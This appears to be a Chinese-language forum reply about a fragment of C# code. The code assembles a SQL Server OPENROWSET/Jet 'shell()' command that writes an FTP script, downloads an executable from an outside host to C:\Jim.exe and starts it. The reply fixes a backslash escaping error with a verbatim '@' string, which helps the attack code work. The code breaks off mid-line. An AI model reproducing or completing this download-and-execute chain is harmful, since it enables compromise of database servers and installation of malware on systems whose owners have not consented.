cmdLine = String.Concat(cmdLine, "select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("cmd.exe /c del dbcmd.sys")');
cmdLine = String.Concat(cmdLine, "&echo open ", str4, ">dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo ", str1, ">>dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo ", str2, ">>dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo get ", str3, " C:\Jim.exe>>dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo bye>>dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo ftp -s:dbcmd.sys>dbcmd.bat");
cmdLine = String.Concat(cmdLine, "&echo start C:\Jim.exe>>dbcmd.bat");
cmdLine = String.Concat(cmdLine, &q

比如这行：
cmdLine = String.Concat(cmdLine, "&echo get ", str3, " C:\Jim.exe>>dbcmd.sys");
它把\J当转义字符了，你写成这样就可以了：
cmdLine = String.Concat(cmdLine, "&echo get ", str3, @" C:\Jim.exe>>dbcmd.sys");

前面加个‘@’
